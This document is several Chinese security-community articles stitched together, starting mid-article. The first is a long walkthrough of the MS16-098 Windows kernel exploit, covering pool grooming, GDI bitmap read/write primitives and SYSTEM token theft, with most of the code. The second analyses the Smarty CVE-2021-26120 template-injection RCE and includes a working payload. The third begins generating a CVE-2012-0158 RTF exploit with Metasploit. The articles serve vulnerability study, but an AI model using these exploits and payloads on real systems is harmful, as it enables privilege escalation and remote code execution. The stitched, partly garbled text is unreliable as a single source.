从而触发异常 BAD_POOL_HEADER 然后就 BSOD 了。
有一个办法可以防止检查时触发异常，那就是让目标对象分配在内存页的末尾。这样在对象被释放时就不会有 next chunk
从而正常释放。 要完成这样的池风水需要知道以下几个关键点：
* 内核池每页大小为 0x1000 字节，比这个还要大的分配请求会被分配到更大的内核池
* 任何请求大小超过 0x808 字节会被分配到内存页的起始处
* 连续的请求会从页的末尾分配
* 分配的对象通常会加上 0x10 字节大小的 pool header，比如请求 0x50 字节的内存，实际包含了 pool header 会分配 0x60 字节大小的内存。
现在我们来看看怎样完成内核池风水，以及它的运作原理，看一下如下利用代码：
void fungshuei() {
HBITMAP bmp;
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
bitmaps[k] = bmp;
}
HACCEL hAccel, hAccel2;
LPACCEL lpAccel;
// Initial setup for pool fengshui.
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
// Delete the allocated bitmaps to free space at beginning of pages
for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
for (int k = 0; k < 5000; k++) {
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
bitmaps[k] = bmp;
}
// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}
// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
for (int k = 2000; k < 4000; k++) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
}x3222222222222222
要清楚的看到分配/释放的流程，一图胜千言
我们一个一个函数来看，第一步是这样的：
HBITMAP bmp;
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
bitmaps[k] = bmp;
}
先分配了5000个大小为 0xf80 字节的 bitmap 对象，这样达到的效果是循环分配新的内存页面，
每个页面以 0xf80 字节大小的 bitmap 对象为开始，在页面末尾留下 0x80 大小的空间。
为了检查内存喷射是否有效，可以在 bFill 函数中调用 PALLOCMEM 函数后下断点，
然后用命令 `!poolused 0x8 Gh?5 来查看分配了多少个 bitmap 对象。
另外有关 bitmap 对象在内核池中的大小的计算在之前提到过
CoreLabs 有关使用 gdi 对象技术的文章中有详细说明，结合这篇文章
[Abusing GDI objects: Bitmap object’s size in the kernel
pool](http://theevilbit.blogspot.com/2017/10/abusing-gdi-objects-bitmap-objects-size.html)
大概知道是怎么算的，不过还有点没弄清楚，先不管了。
文章作者也提到 [Windows Graphics Programming: Win32 GDI and
DirectDraw](https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom)
一书中有详细的计算方法，但是也可以用最直接的办法，不断的试错，尝试用不同的参数运行，
看看会分配多大的内存。
看下 `CreateBitmap` 函数的定义：
HBITMAP CreateBitmap(
int nWidth,
int nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID *lpBits
);
其中 `nPlanes` 和 `nBitCount` 参数大多数情况下都分别默认设置为 1 和 NULL，那这两个参数保持不变，
剩下的参数决定了 bitmap 对象在内存中的大小，我现在是 win8.1 的系统，在 poc 代码中添加如下代码，
运行 `CreateBitmap(1670, 2, 1, 8, NULL);` 试试：
static HBITMAP bitmaps[5000];
void fengshui() {
HBITMAP bmp;
bmp = CreateBitmap(1670, 2, 1, 8, NULL);
bitmaps[k] = bmp;
printf("bmp: %x\n", bmp);
}
先在虚拟机里用 windbg 打开 poc.exe 在创建完 bitmap 对象之后断下
根据打印出的 bitmap handle 在宿主机上用 windbg 查找 bitmap 对象在内存中的位置，
bitmap handle 的最后两个字节实际上是 GdiSharedHandleTable 数组的索引，当 bitmap
被创建时会将对象的地址添加到这个数组中，可以在进程的 PEB 基址下找到这个数组。
通过句柄，我们可以知道它在表上的存放的地址：
addr = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)
发现确实和预料的一样，bitmap 对象大小为 0xf80 字节，现在用参数来算一下
nWidth = 1670
nHeight = 2
nBitCount = 8
(1670*2*8)/8 bits = 0xd0c
pool header 为 0x10 字节，0xd0c 对齐一下为 0xd08，那么得到这样一个公式：
SURFACE64 + STUFF = 0xf80 - 0x10 - 0xd08 = 0x268
换一组参数测试一下这个公式，把代码改成 CreateBitmap(820, 2, 8)，计算一下这个的 bitmap 大小：
size = (820*2*8)/8 + 0x268 + 0x10 = 0x8e0
然后再 windbg 中查看
发现确实如我们所计算的那样。
然后是继续分配了 7000 次 accelerator table 对象，每个大小为 0x40 字节，每次分配两个也就是 0x80 字节大小，
这样就填补了每页内存页剩下的空间 (0xf80 + 0x80 = 0x1000)。
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
接着释放了之前分配的 bitmap 对象，这样内存页的开始处就空出来 0xf80 字节的空间。
// Delete the allocated bitmaps to free space at beginning of pages
for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}
然后分配了 5000 个大小为 0xbc0 字节的对象，这个大小非常关键，因为如果 bitmap 对象直接被放到受到攻击的对象旁边的话，
溢出不会覆盖到 bitmap 对象关键的成员变量（后面会详细讲）。此外，作者通过反复试验找到了 `CreateEllipticRgn`
函数分配的对象的大小于提供的函数参数之间的关系，我们就暂时知道这样的方式就行。
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
for (int k = 0; k < 5000; k++) {
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
池风水进行到这一步，内核中内存页的开始处有着 0xbc0 字节 Gh04 标记的对象，末尾有 0x80，剩下 0x3c0 字节是空闲的。
再分配 5000 个大小为 0x3c0 字节的 bitmap 对象填充每页内存页剩余的空间，这样对 bitmap 对象的溢出就受到我们的控制了。
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
bitmaps[k] = bmp;
}
下一步是把内存中所有 0x60 大小的先占满了，那么后面分配有溢出的对象时几乎肯定会落在我们的内存布局中。
void AllocateClipBoard(unsigned int size) {
BYTE *buffer;
buffer = malloc(size);
memset(buffer, 0x41, size);
buffer[size-1] = 0x00;
const size_t len = size;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), buffer, len);
GlobalUnlock(hMem);
OpenClipboard(wnd);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
GlobalFree(hMem);
}
// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}
这里要说明的是，在分配 ClipBoard 对象的函数中，如果忽略掉 OpenCliboard, CloseClipBboard,
EmptyClipboard
直接调用 SetClipboardData 的话，被分配的对象永远不会释放掉，具体可以再实验下。
最后空出来一点缺口，释放掉内存页尾部 0x80 字节的对象。准确来说准备了 2000 个缺口，让目标对象被分配到这 2000
个中的其中一个位置。
最终的内存页布局如图：
在 windbg 中查看：
# Abusing the Bitmap GDI objects
在开始这部分内容之前，建议没有了解这部分内容的同学可以先去看下前面提到过的
CoreLabs 的文章 [Abusing GDI for ring0 exploit
primitives](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)
，有关这项技术的原理讲的非常详细。
内核中 bitmap 对象的开头部分是一个 GDI base object 结构。
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18
有关这个头部结构的介绍可以参考 [ReactOS
wiki](https://www.reactos.org/wiki/Techwiki:Win32k/BASEOBJECT)，
在它后面的是 [surface object](https://docs.microsoft.com/en-us/windows/desktop/api/winddi/ns-winddi-_surfobj)。
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
其中 sizlBitmap、pvScan0、hdev 是我们主要关注的成员变量，sizlBitmap 存放 bitmap 的宽度和高度，
pvScan0 是一个指向 bitmap 数据的指针（第一条扫描线）, hdev 是指向设备句柄的指针。
我们主要的目标是通过溢出覆盖到 sizlBitmap 和 pvScan0，这样 SetBitmapBits/GetBitmapBits
函数就会对 pvScan0 指向的地址读写 sizlBitmap 长度的数据。如果能够控制溢出的数据，把 pvScan0
覆盖成我们指定的地址，那么就可以用如下方式达到任意地址写：
* 设置第一个 bitmap 对象的 pvScan0 为第二个 bitmap 对象 pvScan0 的地址。
* 把第一个 bitmap 对象当作一个管理器，把第二个 bitmap 对象的 pvScan0 设置成任何我们想要的地址。
* 第二个 bitmap 对象充当实际的操作者，对我们设定的地址进行读写操作。
在这个漏洞的场景中，溢出部分的数据并不完全受到我们控制，但是可以间接影响到覆盖部分的数据，流程如下：
1. 通过溢出覆盖相邻的 bitmap 对象的 sizlBitmap 成员变量。
2. 让可操作数据长度扩展了的 bitmap 对象覆盖另一个 bitmap 对象的 pvScan0。
3. 利用第二个 bitmap 读写设定的地址。
现在我们来分析一下如何把数据覆盖到目标位置，看一下把 points 结构复制到池内存中的函数
`addEdgeToGet`：
r11 寄存器和 r10 寄存器分别存放了当前 point.y [r9+4] 和前一个 point.y [r8+4]，
如果当前 point.y 小于前一个 point.y 就会把目标缓冲区 `rdx+0x28` 地址处写成 `0xffffffff`，
否则就写成 1。这里可以假设它是为了判断当前 point.y 是不是和前一个 point.y 保持同一个方向。
接着会检查前一个 point.y 是否小于 [r9+0xc] = 0x1f0，如果小于的话，当前 point 就会被复制到目标缓冲区，
如果没有，就跳过当前 point。这里还有一点是 point.y 的值会左移1位，如果原来赋值是 1，那么这里就是 0x10。
和之前的检查一样， 这里对 point.x 的处理也是让当前 point.x 减去前一个 point.x，
如果小于或等于的话，就会把目标缓冲区 [r15+0x24] 地址处赋值为 0x1。而 points 结构的大小为
0x30 字节，那么我们用 [rdx+0x28] 覆盖到 sizlBitmap 的同时，还会因为 [r15+0x24] 把 hdev 的值设置为1。
按照以上规则计算偏移后修改代码如下：
static POINT points[0x3fe01];
for (int l = 0; l < 0x3FE00; l++) {
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20; //0x14 < 0x1f
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
这里 points[2].y 设置成 0x14，那么在第二个检查中 y 的值为 0x14 << 1 = 0x140 就会小于 0x1f0，
然后会将当前 point 复制到目标缓冲区。
for (int j = 0; j < 0x156; j++) {
if (j > 0x1F && points[2].y != 0x5a1f) {
points[2].y = 0x5a1f;
}
if (!PolylineTo(hMemDC, points, 0x3FE01)) {
fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
}
}
这里主要到循环中有个判断当循环次数大于 0x1f 时就把 points[2].y 的值设置回来，让后面的 points
不再被复制到目标缓冲区，因为前面 0x20 次循环已经足够覆盖到下一个 bitmap 了。
我们用调试器更具体的看一下，先设置 `bFill+0x38c` 的断点，确定 palloc 分配的 0x60 大小 chunk 的地址。
然后再设置一个 `AddEdgeToGET+0x142` 位置处的断点，这个位置是每成功复制一次 points 对象，
目标缓冲区的地址 +0x30，开始下一次复制，可以看到 vulnerable object 的地址是
`fffff901716d2fb0`，那么就是从 fb0 处开始复制，继续运行。
这里注意到 points 对象的第一个点的 x 和 y 均为 0，猜测默认第零点为原点，
然后开始对我们设置的第一个点进行检查，由于前一个点为 (0, 0)，y = 0 小于 0x1f0，
第一个点会复制到缓冲区，目标缓冲区地址 +0x30。但是到了第二个点，points[1].y
或者 points[0].y 都大于 0x1f0，这个点会被跳过。接着到了第三个点，points[3].y
= 0x140，它是小于 0x1f0 所以 points[3] 会被复制到目标缓冲区，再看下这段代码：
其实可以发现，在检查 y 是否小于 0x1f0 时，y 的值是前一个 points.y 和当前 points.y 中较小的那一个，
所以 points[3] 也会被复制到缓冲区。
由此可以知道第一次调用的 polylineto 函数使目标缓冲区往后增加了 0x90 的偏移，之后的 0x1f 次循环都会增加
2 * 0x30 的偏移。
0xfb0 + 0x90 + 2 * 0x30 * 0x1f = 0x1be0
但是看看 bitmap 对象在内存中的位置
bc0: pool header 0x10
bd0: base object 0x18
be8: ... 0x20
c08: sizlBitmap
还差一个 points，这时在调试器中查看内存发现 points 数组末尾还会检查一次 (0, 0)，
那么 0x1be0 + 0x30 = 0x1c10 刚好可以覆盖到 sizlBitmap。
这样复制完成后 sizlBitmap 的成员属性就变成了 0xffffffff * 0x1，导致 buffer 的读写空间非常大，
那么把这个 bitmap 当作 manager，它的下一页的 bitmap object 当作 worker，通过 `SetBitmapBits`
修改 worker 的 `pvScan0` 属性来设置想读写的地址。可以调用 GetBitmapBits 函数来验证下是否复制成功了，
添加如下代码：
for (int k=0; k < 5000; k++) {
res = GetBitmapBits(bitmaps[k], 0x1000, bits);
if (res > 0x150) // if check succeeds we found our bitmap.
}
但是这里又出现问题了，如果直接添加 GetBitmapBits 代码运行会发生 crash，原因时 hdev
被覆盖成 0x1 了，正常情况下它的值为一个 Gdev device object 的指针或者为 NULL，
而 crash 发生的函数 `PDEVOBJ::bAllowShareAccess` 会从被覆盖的地址 `0x0000000100000000`
读取值，然后判断这个值如果为 1 的话就正常返回。
幸运的是这个地址可以在用户态直接申请分配，那么用 VirtualAlloc 申请这个地址把值设置成 1 就解决了问题。
VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(fake, 0x1, 0x100);
现在我们已经能够读写一大块内存了，下一步就可以任意地址读写了，不过我们还需要修复一下堆头结构，
前面我们写的 poc 程序每次运行完退出时会因为 Bad Pool Header 触发 crash，溢出破坏了堆头部结构。
先用 GetBitmapbits 读取下一页的 region 对象和 bitmap 对象的头部，写入到当前页的 region 对象和
bitmap 对象头部中，然后泄露相关内核地址，计算出当前页的 region 对象地址。
// Get Gh04 header to fix overflown header.
static BYTE Gh04[0x10];
fprintf(stdout, "\r\nGh04 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh04[i] = bits[0x1d8 + i];
fprintf(stdout, "%02x", bits[0x1d8 + i]);
}
// Get Gh05 header to fix overflown header.
static BYTE Gh05[0x10];
fprintf(stdout, "\r\nGh05 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh05[i] = bits[0xd98 + i];
fprintf(stdout, "%02x", bits[0xd98 + i]);
}
// Address of Overflown Gh04 object header
static BYTE addr1[0x8];
fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
for (int j = 0; j < 0x8; j++) {
addr1[j] = bits[0x218 + j];
fprintf(stdout, "%02x", bits[0x218 + j]);
}
// Get pvScan0 address of second Gh05 object
static BYTE pvscan[0x08];
fprintf(stdout, "\r\npvScan0:\r\n");
for (int i = 0; i < 0x8; i++) {
pvscan[i] = bits[0xdf8 + i];
fprintf(stdout, "%02x", bits[0xdf8 + i]);
}
看下当前 bitmap 对象的 pvScan0 指向的地址：
那么 Gh04 header 的偏移就是 `0x1000 - 0xe30 = 0x1d0`，同理，Gh05 header 的偏移为
`0x1d0 + 0xbc0 = 0xd90`。然后泄露内核地址的话，在 region 对象中有这样一个值：
这个值为这个值的地址本身，且在 region 对象 +0x30 偏移处，那么就可以计算出当前
Gh04 对象的地址，然后把这个地址最低位字节置零，倒数第二位减去 0x10 回到上一页的起始位置：
addr1[0x0] = 0;
int u = addr1[0x1];
u = u - 0x10;
addr1[1] = u;
同理也可以计算出 Gd05 对象的地址：
addr1[0] = 0xc0;
int y = addr1[1];
y = y + 0xb;
addr1[1] = y;
然后我们用 manager bitmap 对象调用 SetBitmapBits 修改 worker 的 pvScan0 为 region
对象的地址，再用worker 调用 SetBitmapBits 将正确的 Pool Header 写回去，Bitmap 对象同理。
void SetAddress(BYTE* address) {
for (int i = 0; i < sizeof(address); i++) {
bits[0xdf0 + i] = address[i];
}
SetBitmapBits(hManager, 0x1000, bits);
}
void WriteToAddress(BYTE* data) {
SetBitmapBits(hWorker, sizeof(data), data);
}
SetAddress(addr1);
WriteToAddress(Gh04);
# Stealing SYSTEM Process Token
接下来就是最后一部分操作了，一些资料里已经详细说明了如何替换 System Token 实现提权的方法，
这里也简单描述一下。`ntoskrnl` 中的 `PsInitialSystemProcess` 存储了 `SYSTEM` 进程的 `EPROCESS`
地址，这里使用 `EnumDeviceDrivers` 来获取 `ntoskrnl` 的基址，另外也可以通过
`NtQuerySystemInformation(11)` 来获取 `ntoskrnl` 的基址。
// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
ULONG64 Bases[0x1000];
DWORD needed = 0;
ULONG64 krnlbase = 0;
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}
// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
// load ntoskrnl.exe
ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
// get address of exported PsInitialSystemProcess variable
ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
ULONG64 res = 0;
ULONG64 ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if (ntOsBase) {
ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
}
return res;
}
获取到 `SYSTEM` 进程的 `EPROCESS` 地址后就可以读取其中的 `ActiveProcessLinks` 属性地址，
它是一个存放所有进程 `EPROCESS` 地址的双向链表，通过遍历它来得到当前进程的 `EPROCESS` 地址。
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
DWORD UniqueProcessIdOffset;
DWORD TokenOffset;
} VersionSpecificConfig;
VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1
LONG64 PsGetCurrentProcess()
{
ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
ULONG64 res = 0;
while (TRUE) {
ULONG64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
// get pid
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
// if next same as last, we reached the end
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
break;
}
return res;
}
最后把 System 进程的 Token 替换到当前进程实现提权。
// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
ULONG64 SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
// write token to current process
ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress((BYTE *)&CurProccessAddr);
WriteToAddress((BYTE *)&SystemToken);
// Done and done. We're System :)
system("cmd.exe");
利用代码可以在 [github](https://github.com/sensepost/ms16-098) 上找到。
# Reference
* <https://www.secureauth.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects>
* <https://www.secureauth.com/blog/abusing-gdi-for-ring0-exploit-primitives>
* <https://github.com/sensepost/ms16-098>
* <http://repwn.com/archives/26/>
* <http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes> | 社区文章 |
**写在前面**
前段时间，红明谷CTF有个smarty的注入题，前面从来没有接触过php的模板注入，便参考了一些资料，抽空学习了一下，不足之处多多指教。
**关于题目**
题目是smarty3.1.39改了规则，再加上一些open_basedir的限制，后来看wp是3.1.38存在两个rce,就拉了一个CVE-2021-26120来跟一下。
**分析**
本地windows搭的环境，
index.php
<?php
error_reporting(0);
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display("string:".$_GET['juju']);
假设已经知道了：
当访问一个模板文件时，smarty会根据模板文件生成对应的.php编译文件，在下次有相同请求时直接调用，否则重新编译并写新文件。
根据poc,先打个请求看看，/?juju={function+name=test}{/function},发现在tempaltes_c/生成一个编译文件：
<?php
/* Smarty version 3.1.38, created on 2022-03-31 20:45:53
from '8c326fc8392e7d13b7f993823e2215eb02fb980e' */
/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
'version' => '3.1.38',
'unifunc' => 'content_6245a281551806_05807432',
'has_nocache_code' => false,
'file_dependency' =>
array (
),
'includes' =>
array (
),
),false)) {
function content_6245a281551806_05807432 (Smarty_Internal_Template $_smarty_tpl) {
$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions($_smarty_tpl, array (
'test' =>
array (
'compiled_filepath' => 'D:\\program\\phpStudy_64\\phpstudy_pro\\WWW\\smarty-3.1.38\\templates_c\\8c326fc8392e7d13b7f993823e2215eb02fb980e_0.string.php',
'uid' => '8c326fc8392e7d13b7f993823e2215eb02fb980e',
'call_name' => 'smarty_template_function_test_8448067526245a2812ef2c6_13818238',
),
));
}
/* smarty_template_function_test_8448067526245a2812ef2c6_13818238 */
if (!function_exists('smarty_template_function_test_8448067526245a2812ef2c6_13818238')) {
function smarty_template_function_test_8448067526245a2812ef2c6_13818238(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}}
/*/ smarty_template_function_test_8448067526245a2812ef2c6_13818238 */
}
打个poc:?juju={function+name='rce(){};system("whoami");function '}{/function}
<?php
/* Smarty version 3.1.38, created on 2022-03-31 20:49:29
from 'a3aabdfcc563678b439f63a9e8fff2d056eed2a7' */
/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
'version' => '3.1.38',
'unifunc' => 'content_6245a3598b4cf6_00370686',
'has_nocache_code' => false,
'file_dependency' =>
array (
),
'includes' =>
array (
),
),false)) {
function content_6245a3598b4cf6_00370686 (Smarty_Internal_Template $_smarty_tpl) {
$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions($_smarty_tpl, array (
'rce(){};system("whoami");function ' =>
array (
'compiled_filepath' => 'D:\\program\\phpStudy_64\\phpstudy_pro\\WWW\\smarty-3.1.38\\templates_c\\a3aabdfcc563678b439f63a9e8fff2d056eed2a7_0.string.php',
'uid' => 'a3aabdfcc563678b439f63a9e8fff2d056eed2a7',
'call_name' => 'smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318',
),
));
}
/* smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318 */
if (!function_exists('smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318')) {
function smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}}
/*/ smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318 */
}
大概可以看出第28行中，rce(){};system("whoami");function
插入函数名中，通过{};结束前面一个函数定义，通过function 使后面生成的编译文件名部分字符串提前成为了函数名，中间便导致了插入。
debug跟入看看：（确保删除已经生成的编译文件，调试比较长，只列出一些关键函数）
从display进入->_execute
_execute中190行调用createTemplate生成模板，
接着234行开始render:
进入smarty_internal_template.php的render，跟进到216 compiled->render:
进入smarty_internal_compiled.php的render，跟进到105 process:
进入smarty_internal_compiled.php的process中，断点的两个地方:
compileTemplateSource编译模板源，文件的最后写入就是发生在这里，loadCompiledTemplate再进行加载，
跟进compileTemplateSource：
compileTemplateSource的184行,通过$this->write写文件，跟进write：
filepath就是文件路径，code则为最终编译文件的代码。不过这是最后一步了，先得往回看如何compileTemplate
在smarty_internal_templatecompilerbase.php中，399行，注释也说了，get code frame of
compiled template，
跟进如何compileTemplateSource的：
在smarty_internal_templatecompilerbase.php的compileTemplateSource中，481行，调用了doCompile
在这里还是我们传入的payload，
对于payload主要的解析过程，就在doParse过程中：
偷了个懒，因为这部分太长了，加之我也没仔细去跟，就直接跳到最后callTagCompiler
callTagCompiler就相当于调用某类的compile方法：
因为tag为function,所以跟进了smarty_internal_compile_function.php，这里提一下smarty_internal_compile_function.php分别定义了smarty_internal_compile_function和smarty_internal_compile_functionclose两个不同类，分别Compiles
code for the {function} and {/function} tag
最后就是compile：
可以看见，payload被原原本本给了$_name,然后就是简单了，$_name直接拼接，带入了最后的内容中
然后就是写个新的模板文件什么的，不多说了。
现在跳回一开始compileTemplateSource和loadCompiledTemplate的地方，loadCompiledTemplate中include了编译文件。
**修补**
也是在获取$_name的地方加了过滤：
**结语**
比较可以看出，原题修改了正则，可以通过换行绕过，执行命令时再绕过open_basedir：
还是自己菜了。
**参考**
<https://xz.aliyun.com/t/1983> | 社区文章 |
# 永远的经典：CVE-2012-0158漏洞分析、利用、检测和总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 前段时间调试了一下CVE-2017-11882，分析过程中发现CVE-2017-11882和CVE-2012-0158很像。上周末我决定重新分析一下0158这个经典的栈溢出漏洞。由于0158是office领域的入门漏洞，所以这篇文章中我借这个漏洞来展示一下对这类office内嵌ActiveX控件漏洞的基本分析过程。
## 用metasploit生成样本
首先在Kali Linux下用metasploit 生成一个CVE-2012-0158弹计算器的样本，步骤如下：
msf > use exploit/windows/fileformat/ms12_027_mscomctl_bof
msf exploit(ms12_027_mscomctl_bof) > info
Name: MS12-027 MSCOMCTL ActiveX Buffer Overflow
Module: exploit/windows/fileformat/ms12_027_mscomctl_bof
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2012-04-10
Provided by:
Unknown
juan vazquez <[email protected]>
sinn3r <[email protected]>
Available targets:
Id Name
-- ----
0 Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English
1 Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.
Payload information:
Space: 900
Avoid: 1 characters
Description:
This module exploits a stack buffer overflow in MSCOMCTL.OCX. It
uses a malicious RTF to embed the specially crafted
MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April
2012. This module targets Office 2007 and Office 2010 targets. The
DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain
proposed by Abysssec. This chain uses "msgr3en.dll", which will load
after office got load, so the malicious file must be loaded through
"File / Open" to achieve exploitation.
References:
https://cvedetails.com/cve/CVE-2012-0158/OSVDB (81125)
http://www.securityfocus.com/bid/52911
https://technet.microsoft.com/en-us/library/security/MS12-027
